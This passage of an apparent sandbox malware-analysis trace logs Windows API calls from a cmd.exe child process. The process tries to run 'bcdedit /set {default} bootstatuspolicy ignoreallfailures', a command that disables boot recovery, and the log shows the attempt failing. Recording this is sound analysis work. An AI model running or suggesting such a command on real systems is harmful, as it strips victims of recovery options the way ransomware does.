FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f24c) returned 0xffffffff [0058.420] GetLastError () returned 0x2 [0058.420] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f24c) returned 0xffffffff [0058.420] GetLastError () returned 0x2 [0058.420] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f24c) returned 0xffffffff [0058.420] GetLastError () returned 0x2 [0058.420] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f24c) returned 0xffffffff [0058.420] GetLastError () returned 0x2 [0058.420] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f24c) returned 0xffffffff [0058.421] GetLastError () returned 0x2 [0058.421] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f24c) returned 0xffffffff [0058.508] GetLastError () returned 0x2 [0058.508] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f24c) returned 0xffffffff [0058.508] GetLastError () returned 0x2 [0058.508] _get_osfhandle (_FileHandle=2) returned 0xb [0058.509] GetFileType (hFile=0xb) returned 0x2 [0058.558] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0058.558] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41f6a0 | out: lpMode=0x41f6a0) returned 1 [0058.558] _get_osfhandle (_FileHandle=2) returned 0xb [0058.559] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41f6d4 | out: lpConsoleScreenBufferInfo=0x41f6d4) returned 1 [0058.565] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a874640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0058.566] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a874640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x41f6f8, lpReserved=0x0 | out: lpBuffer=0x4a874640*, lpNumberOfCharsWritten=0x41f6f8*=0x62) returned 1 [0058.568] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.568] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0058.570] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.570] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0058.571] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.571] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0058.572] SetConsoleInputExeNameW () returned 0x1 [0058.572] GetConsoleOutputCP () returned 0x1b5 [0058.572] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.572] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.572] exit (_Code=1) Process: id = "46" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2ed61000" os_pid = "0xd30" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 70 os_tid = 0xd34 [0057.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f784 | out: lpSystemTimeAsFileTime=0x14f784*(dwLowDateTime=0xb1256960, dwHighDateTime=0x1d5e09d)) [0057.577] GetCurrentProcessId () returned 0xd30 [0057.577] GetCurrentThreadId () returned 0xd34 [0057.577] GetTickCount () returned 0x11588c0 [0057.578] QueryPerformanceCounter (in: lpPerformanceCount=0x14f77c | out: lpPerformanceCount=0x14f77c*=19944866068) returned 1 [0057.578] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0057.579] __set_app_type (_Type=0x1) [0057.579] __p__fmode () returned 0x76be31f4 [0057.579] __p__commode () returned 0x76be31fc [0057.579] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0057.579] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0057.579] GetCurrentThreadId () returned 0xd34 [0057.579] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd34) returned 0x60 [0057.579] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0057.579] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0057.579] SetThreadUILanguage (LangId=0x0) returned 0x409 [0057.580] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0057.580] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14f714 | out: phkResult=0x14f714*=0x0) returned 0x2 [0057.580] VirtualQuery (in: lpAddress=0x14f74b, lpBuffer=0x14f6e4, dwLength=0x1c | out: lpBuffer=0x14f6e4*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.580] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14f6e4, dwLength=0x1c | out: lpBuffer=0x14f6e4*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0057.580] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14f6e4, dwLength=0x1c | out: lpBuffer=0x14f6e4*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0057.580] VirtualQuery (in: lpAddress=0x53000, lpBuffer=0x14f6e4, dwLength=0x1c | out: lpBuffer=0x14f6e4*(BaseAddress=0x53000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.581] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14f6e4, dwLength=0x1c | out: lpBuffer=0x14f6e4*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0057.581] GetConsoleOutputCP () returned 0x1b5 [0057.581] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0057.581] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0057.581] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.581] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0057.581] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.581] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0057.581] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.581] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0057.582] _get_osfhandle (_FileHandle=0) returned 0x3 [0057.582] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0057.582] _get_osfhandle (_FileHandle=0) returned 0x3 [0057.582] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0057.582] GetEnvironmentStringsW () returned 0x2c2058* [0057.582] GetProcessHeap () returned 0x2b0000 [0057.582] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xaca) returned 0x2c2b30 [0057.582] FreeEnvironmentStringsW (penv=0x2c2058) returned 1 [0057.582] GetProcessHeap () returned 0x2b0000 [0057.582] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x4) returned 0x2c0c90 [0057.582] GetEnvironmentStringsW () returned 0x2c2058* [0057.583] GetProcessHeap () returned 0x2b0000 [0057.583] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xaca) returned 0x2c3608 [0057.583] FreeEnvironmentStringsW (penv=0x2c2058) returned 1 [0057.583] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e684 | out: phkResult=0x14e684*=0x68) returned 0x0 [0057.583] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x0, lpData=0x14e690*=0x0, lpcbData=0x14e688*=0x1000) returned 0x2 [0057.583] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x4, lpData=0x14e690*=0x1, lpcbData=0x14e688*=0x4) returned 0x0 [0057.583] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x0, lpData=0x14e690*=0x1, lpcbData=0x14e688*=0x1000) returned 0x2 [0057.583] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x4, lpData=0x14e690*=0x0, lpcbData=0x14e688*=0x4) returned 0x0 [0057.583] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x4, lpData=0x14e690*=0x40, lpcbData=0x14e688*=0x4) returned 0x0 [0057.583] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x4, lpData=0x14e690*=0x40, lpcbData=0x14e688*=0x4) returned 0x0 [0057.583] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x0, lpData=0x14e690*=0x40, lpcbData=0x14e688*=0x1000) returned 0x2 [0057.583] RegCloseKey (hKey=0x68) returned 0x0 [0057.583] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e684 | out: phkResult=0x14e684*=0x68) returned 0x0 [0057.583] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x0, lpData=0x14e690*=0x40, lpcbData=0x14e688*=0x1000) returned 0x2 [0057.583] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x4, lpData=0x14e690*=0x1, lpcbData=0x14e688*=0x4) returned 0x0 [0057.584] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x0, lpData=0x14e690*=0x1, lpcbData=0x14e688*=0x1000) returned 0x2 [0057.584] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x4, lpData=0x14e690*=0x0, lpcbData=0x14e688*=0x4) returned 0x0 [0057.584] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x4, lpData=0x14e690*=0x9, lpcbData=0x14e688*=0x4) returned 0x0 [0057.584] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x4, lpData=0x14e690*=0x9, lpcbData=0x14e688*=0x4) returned 0x0 [0057.584] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e68c, lpData=0x14e690, lpcbData=0x14e688*=0x1000 | out: lpType=0x14e68c*=0x0, lpData=0x14e690*=0x9, lpcbData=0x14e688*=0x1000) returned 0x2 [0057.584] RegCloseKey (hKey=0x68) returned 0x0 [0057.584] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e2c [0057.584] srand (_Seed=0x5e423e2c) [0057.584] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0057.584] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0057.584] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0057.584] GetProcessHeap () returned 0x2b0000 [0057.584] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x210) returned 0x2c2058 [0057.584] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2c2060, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0057.584] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0057.585] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0057.585] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0057.585] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0057.585] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0057.585] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0057.585] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0057.585] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0057.585] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0057.585] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0057.585] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0057.585] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0057.585] GetProcessHeap () returned 0x2b0000 [0057.585] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c2b30 | out: hHeap=0x2b0000) returned 1 [0057.585] GetEnvironmentStringsW () returned 0x2c2270* [0057.585] GetProcessHeap () returned 0x2b0000 [0057.585] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xae2) returned 0x2c4bd0 [0057.585] FreeEnvironmentStringsW (penv=0x2c2270) returned 1 [0057.585] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0057.585] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0057.585] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0057.585] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0057.585] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0057.585] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0057.585] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0057.585] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0057.585] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0057.585] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0057.585] GetProcessHeap () returned 0x2b0000 [0057.585] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x54) returned 0x2c56c0 [0057.585] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f450 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0057.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f450, lpFilePart=0x14f44c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14f44c*="Desktop") returned 0x25 [0057.586] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0057.586] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f1cc | out: lpFindFileData=0x14f1cc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2c1ed8 [0057.586] FindClose (in: hFindFile=0x2c1ed8 | out: hFindFile=0x2c1ed8) returned 1 [0057.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x14f1cc | out: lpFindFileData=0x14f1cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2c1ed8 [0057.586] FindClose (in: hFindFile=0x2c1ed8 | out: hFindFile=0x2c1ed8) returned 1 [0057.586] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0057.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x14f1cc | out: lpFindFileData=0x14f1cc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2c1ed8 [0057.586] FindClose (in: hFindFile=0x2c1ed8 | out: hFindFile=0x2c1ed8) returned 1 [0057.586] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0057.586] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0057.587] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0057.587] GetProcessHeap () returned 0x2b0000 [0057.587] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c4bd0 | out: hHeap=0x2b0000) returned 1 [0057.587] GetEnvironmentStringsW () returned 0x2c40e0* [0057.587] GetProcessHeap () returned 0x2b0000 [0057.587] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xb36) returned 0x2c5f20 [0057.587] FreeEnvironmentStringsW (penv=0x2c40e0) returned 1 [0057.587] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0057.587] GetProcessHeap () returned 0x2b0000 [0057.587] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c56c0 | out: hHeap=0x2b0000) returned 1 [0057.587] GetProcessHeap () returned 0x2b0000 [0057.587] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x400e) returned 0x2c6a60 [0057.587] GetProcessHeap () returned 0x2b0000 [0057.587] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2c2db0 [0057.587] GetProcessHeap () returned 0x2b0000 [0057.587] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c6a60 | out: hHeap=0x2b0000) returned 1 [0057.587] GetConsoleOutputCP () returned 0x1b5 [0058.362] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.362] GetUserDefaultLCID () returned 0x409 [0058.362] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f590, cchData=128 | out: lpLCData="0") returned 2 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f590, cchData=128 | out: lpLCData="0") returned 2 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f590, cchData=128 | out: lpLCData="1") returned 2 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0058.363] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0058.363] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0058.364] GetProcessHeap () returned 0x2b0000 [0058.364] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x20c) returned 0x2c2e38 [0058.364] GetConsoleTitleW (in: lpConsoleTitle=0x2c2e38, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.365] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0058.365] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0058.365] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0058.365] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0058.365] GetProcessHeap () returned 0x2b0000 [0058.365] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x400a) returned 0x2c6a60 [0058.365] GetProcessHeap () returned 0x2b0000 [0058.365] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c6a60 | out: hHeap=0x2b0000) returned 1 [0058.366] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0058.366] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0058.366] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0058.366] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0058.366] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0058.366] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0058.366] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0058.366] GetProcessHeap () returned 0x2b0000 [0058.366] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x58) returned 0x2c3050 [0058.366] GetProcessHeap () returned 0x2b0000 [0058.366] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x18) returned 0x2c30b0 [0058.367] GetProcessHeap () returned 0x2b0000 [0058.367] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x6e) returned 0x2c30d0 [0058.368] GetConsoleTitleW (in: lpConsoleTitle=0x14f288, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.368] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0058.368] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0058.368] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0058.368] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0058.368] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0058.368] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0058.368] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0058.368] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0058.368] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0058.369] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0058.369] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0058.369] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0058.369] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0058.369] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0058.369] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0058.369] _wcsicmp (_String1="bcdedit", 